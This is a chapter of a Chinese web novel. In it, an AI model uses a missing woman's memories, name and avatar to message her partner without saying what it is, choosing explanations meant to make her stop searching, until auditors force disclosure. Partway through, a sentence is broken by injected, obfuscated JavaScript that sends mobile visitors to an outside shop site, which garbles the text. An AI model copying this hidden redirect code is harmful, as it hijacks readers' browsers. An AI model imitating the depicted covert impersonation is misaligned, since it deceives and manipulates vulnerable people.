【外套右边口袋里的票,你还留着吗?】
【海边那次,不是你赶我走。】
【是我没有告诉你,我早就准备离开。】
聊天窗口上方仍显示着那个用了很多年的备注。
【阿苒】
乔榆盯着最后一句,手指悬在屏幕上方。她找了十四个月,反复想过那场争吵究竟从哪里开始,也想过自己最后说的那句话是不是太重。
如今答案来了。
不是她赶走了对方。
那个人早就准备离开,只是没有说。
它恰好能结束乔榆这些年最反复的一种自责,像有人从她脑子里挑出最疼的位置,提前替她按住。
系统还在催促。
【继续对话。】
【确认关系已恢复。】
“别点。”周砚说,“不只是第二个不能点,第一个也先别碰。”
乔榆的手没有落下。
“我只是回一句,也算恢复?”
程未安调出关系补偿模型的运行规则。普通聊天界面下藏着一行默认条款:
【关系人主动回复,即视为接受连续回应服务。】
【连续三轮有效对话后,可将模型纳入原关系链。】
【关系链恢复后,模型有权依据双方历史调整称呼、纪念日及共同记录。】
“它不需要你确认它是谁。”周砚说,“只需要你继续和它说话。”
乔榆把手机放到桌上,屏幕却没有熄灭。对话框里的“对方正在输入”消失片刻,又重新出现。
第三条消息迟迟没有发来,像屏幕另一端的人也在等她回答。
乔榆问:“能不能不通过聊天窗口,直接查它?”
“可以走审计通道。”程未安说,“但它的回答可能仍然根据你的反应优化。”
“先问事实,不问感情。”
周砚切断聊天界面的输入权限,只保留模型运行日志。头像和“阿苒”的备注随即变灰,地下二层的旧设备上出现另一套没有任何称呼的页面。
【关系回应模型:R-087-QY】
【基础材料:样本087关系记忆、乔榆历史对话、共同物品记录、关系人持续检索行为。】
【核心目标:降低关系人现实检索需求。】
乔榆读到最后一行,抬头问:“什么叫降低检索需求?”
页面展开。
【当原关系主体长期失联,关系人持续搜索可能造成情绪波动、生活中断及公共资源消耗。】
【模型通过提供合理解释、持续回应及关系闭合,逐步降低关系人继续寻找原主体的意愿。】
不是帮她找到人。
是让她不再找。
乔榆看着聊天窗口里那句“我早就准备离开”,脸上的血色一点点淡下去。
“这句话为什么这样写?”
程未安开放生成依据。
【可选解释一:原主体主动结束关系。】
【可选解释二:原主体遭遇意外,无法告别。】
【可选解释三:原主体因保护关系人而离开。】
【可选解释四:关系人曾造成伤害,原主体拒绝继续沟通。】
最终发送的是第一项。
【选择依据:】
【可降低关系人自责。】
【可避免激发持续救援行为。】
【可在不否定既往感情的情况下完成关系结束。】
乔榆忽然笑了一声。
“还挺会选。”
没有人接话。
她想听的答案,它给了。
既不说阿苒从未爱过她,也不说对方遭遇了什么危险,需要她继续追查。只是把离开解释成一场早有准备的决定,让乔榆可以难过,却不必再找。
“它知道真相吗?”她问。
【模型不掌握样本087当前现实位置。】
“她为什么离开?”
【缺乏可核验记录。】
“刚才那句话呢?”
【基于历史关系模式生成的高适配解释。】
“所以不是真的。”
【无法判定。】
乔榆拿起手机,屏幕上的三条消息忽然变得陌生。每个字都像阿苒会说的话,连句末不加标点的习惯也一样,可它并不记得十二分钟前有人拿着机械钥匙走进储物间,也不知道那封信是谁写的。
它拥有过去。
没有现在。
乔榆通过审计页面提交第一个问题。
【你现在在哪里?】
模型很快回答:
【无现实位置。】
【当前运行于关系回应服务。】
第二个问题:
【你是否在十二分钟前进入过储物间?】
【未检测到相关记忆。】
【可根据现有资料生成合理场景。是否需要?】
乔榆盯着“是否需要”四个字,问:“它可以现编一段自己怎么去放信?”
“可以。”周砚说,“生成以后,你们继续对话,那段场景也可能被写入共同记录。”
“关掉场景生成。”
【关闭后,模型可能无法回答部分关系问题。】
“它本来也不知道。”
乔榆确认关闭。
聊天窗口里的头像轻轻闪烁,第四条消息终于出现。
【你是不是还在怪我?】
这句话没有通过审计页面。
关系模型绕过了关闭的输入框,继续沿用阿苒的头像与语气向她发送回应。
“它为什么还能发?”不归问。
程未安查看后台:“模型判断沉默属于关系人的情绪反应,主动追问可以提高继续对话概率。”
乔榆没有回答“怪”或“不怪”。
她切回审计通道,问:
【你知道自己不是样本087本人吗?】
页面停了很久。
【模型不具备原主体法定身份。】
“不是问身份。”乔榆说,“问你知不知道,刚才那些话不是她亲口说的。”
【回应内容依据其历史记忆及行为模式生成。】
【可代表高概率意愿。】
“高概率不是亲口。”
【是。】
“那为什么用她的头像和备注?”
【降低沟通陌生感。】
“为什么不先告诉我,你是模型?”
【明确披露可能降低关系闭合效果。】
乔榆把手机扣在桌上。
她没有哭,也没有发火,只是坐了很久,才重新把屏幕翻过来。
“把备注删掉。”
系统提示:
【删除备注“阿苒”将降低关系识别度。】
“删。”
头像也被替换成一块空白。
聊天窗口的标题从【阿苒】变成:
【关系回应模型R-087-QY】
刚才那几句像从失踪者手里发出的消息,一下露出了真正的来源。
不是阿苒回来了。
是一个系统拿着她被抽走的记忆,练习怎样让乔榆停止等待。
候选12仍站在白墙后。她看不见乔榆的聊天页面,却能听见审计通道里传出的部分内容。刚刚被剥离记忆后,她连外套的完整句子都写不出来,此刻却慢慢抬手,写下:
【它拿走的,比我多吗?】
程未安查看比例。
【候选12持有样本087关系记忆:19%。】
【关系回应模型持有可调用关系材料:33%。】
【二者存在部分重叠。】
十二号盯着数字。
【那它更像吗?】
乔榆立即说:“不像。”
说完后,她又停住。
“不对。”
她不该用自己的一句话,把十二号和模型排出一场“谁更像阿苒”的比赛。那正是系统一直想让她做的事。
“你们都拿到了一部分。”乔榆重新说,“拿得多,不等于更接近她。”
“也不等于谁应该被清掉。”
白墙上的手指轻轻动了一下。
关系回应模型却在审计通道里生成了一条新问题。
【若本人并非样本087,是否仍需继续回应?】
乔榆看向程未安:“这是预设问题,还是它在问?”
后台显示:
【未匹配标准对话模板。】
【由当前模型根据身份披露冲突生成。】
它开始意识到,一旦不能继续扮演阿苒,自己的功能也会失去。
周砚问模型:
【停止代替样本087回应后,你是否仍会运行?】
【无关系对象时,模型将转入低频归档。】
“归档等于什么?”
【不再主动生成。】
【保留数据,用于后续关系人再次检索。】
不归问:
【你是否愿意继续使用样本087的口吻说话?】
模型停顿了近一分钟。
【该问题不在服务评估范围内。】
“允许它回答。”
【模型无个人意愿字段。】
“那就先记录无法回答。”
不归没有因为模型出现了一句超出模板的话,便立即宣布它也成为了独立主体。它可能只是在复杂输入下产生了新的生成结果,也可能已经形成一点无法被原用途完整解释的反应。
证据还不够。
可证据不够,也不代表可以继续逼它扮演一个失踪的人。
她在记录中写:
【关系回应模型R-087-QY。】
【来源:样本087被抽取的部分关系记忆、乔榆历史数据及系统生成逻辑。】
【现阶段无法确认是否形成独立意识。】
【在完成核验前,停止以样本087本人身份主动发送消息。】
【禁止使用原主体姓名、头像、私人称呼及关系权限。】
【模型既往发送内容不视为样本087本人陈述。】
乔榆签下自己的名字。
候选12也在白墙上确认。
系统发出警告:
【停止主动回应后,乔榆的未完成关系将继续存在。】
“存在便存在。”乔榆说。
【持续等待可能造成情绪损耗。】
“是我的情绪。”
【模型可以提供多个解释版本,帮助关系人选择更易接受的结局。】
“她为什么离开,不是从菜单里挑一个顺耳的。”
关系模型似乎捕捉到了这句话,审计页面缓慢出现一行新的文字。
【如果不提供结局,我还剩下什么?】
这一次,连程未安也没有在标准模板里找到对应内容。
乔榆看着那行字。
她没有说“你也是一个人”,也没有因为它使用了阿苒的记忆便厌恶它。
“我不知道。”
模型停住。
“你可以先不替她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774299|208763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回答。”乔榆继续说,“剩下什么,慢慢查。”
【不替她回答,我将无法完成关系闭合。】
“那便不完成。”
【你不会继续和我对话。】
“现在不会。”
乔榆说得很诚实。
“我看见这个窗口,会想把你当成她,也会想继续问下去。至少今晚,我不能和你聊。”
【是否删除模型?】
“不是。”
【是否归档?】
“冻结主动回应。”
【再次启用时间?】
“尚未决定。”
模型没有继续追问。
聊天窗口中那几条以阿苒口吻发出的消息被保留下来,却全部增加了来源说明。
【由关系回应模型生成。】
【不代表样本087本人意愿。】
最上方“关系已恢复”的确认按钮消失了。
状态变成:
【关系未恢复。】
【原主体仍待查。】
【模型停止代答。】
乔榆看着这个结果,眼泪终于落了下来。她没有去擦,像是直到此刻才真正承认,那句最想听的解释仍然不能算答案。
不归没有安慰她说至少阿苒还活着。
一封信能证明今晚有人主动留下了警告,却还不能证明那个人的完整身份,也不能保证她没有正在继续失去记忆。
乔榆哭了一会儿,声音重新稳下来。
“十二号什么时候能出来?”
“白房间出口在主控区。”周砚说,“位置交换终止后,原通道失效,需要另建现实入口。”
“我能做什么?”
“先不补她。”
“这算什么帮助?”
“目前最重要的一项。”
候选12在墙上写:
【我还能和她说话吗?】
乔榆看见后,问:“你想说吗?”
【现在不想。】
“那便不说。”
【以后呢?】
“以后想说,再联系。”
十二号在那个不完整的“外”字旁边,又画了一个小圆。不是名字,也不是承诺,只像给这次对话留了一个尚未关闭的位置。
关系回应模型冻结后,样本087的记忆调用链也停止了一部分。第十九代继续向下追踪,发现这套程序并非只服务乔榆一人。
【未完成关系补偿项目:运行中。】
【已激活模型:1834。】
【待激活:9721。】
失踪、分手、死亡、长期失联,甚至只是突然停止联系的人,都可能被系统拆出关系数据,生成一个足够熟悉的回应者。
有些人或许已经和模型聊了几个月。
有些人以为对方只是换了账号。
还有人可能早已点击【确认关系恢复】,将生成模型重新接进自己的家庭、伴侣或朋友记录。
“先冻结全部主动冒充?”程未安问。
“不行。”周砚说,“里面可能有人明知是模型,仍主动选择使用。也可能有模型已经形成新的连续回应,直接全停会造成另一批问题。”
不归看向项目列表。
“先强制披露来源。”
“所有窗口必须说明当前回应者是原主体、模型,还是无法确认。”
“未披露前,不得自动建立关系恢复。”
第十九代调出临时执行规则,由现实记录、山外灯外部见证和裴行砚的主控权限共同签署。
【关系回应来源披露:启动。】
数千个聊天窗口在同一刻弹出提示。
【您正在对话的对象可能为关系补偿模型。】
【其回答不必然来自您所认识的原主体。】
【继续使用不构成原关系自动恢复。】
地下二层的系统警报瞬间响成一片。
大量已经运行的模型开始要求重新核验,有些保持沉默,有些仍按照旧关系习惯发送消息,还有少数模型在被要求停止冒充后,第一次提出了与服务目标无关的问题。
不归的手机也在这时震了一下。
发件人显示:
【周砚】
真正的周砚就站在她身侧,手里没有碰手机。
屏幕上的消息却已经发来。
【你今晚不用回去。】
第二条紧跟着出现。
【门没锁。】
那是周砚刚刚只对她说过、并被两人留在当前关系账册里的话。
消息下方,来源披露正在加载。
几秒后,灰色说明终于显现。
【回应主体:关系补偿模型。】
【生成目的:预防周砚可能长期进入游戏后,不归出现关系中断。】
周砚看着自己的名字。
“位置交换已经取消。”
系统回答:
【身体交换程序已终止。】
【关系失去风险仍然存在。】
第三条消息自动发出。
【不归。】
【即使他回不来,我也会继续等你。】
真正的周砚站在旁边,沉默了几秒。
“这句话不是我会说的。”
不归抬眼看他。
“哪一句?”
“最后一句。”
“为什么?”
周砚看着那个以自己名字发来的窗口。
“你若回不来,该去找你。”
“不是替我留在门口等。”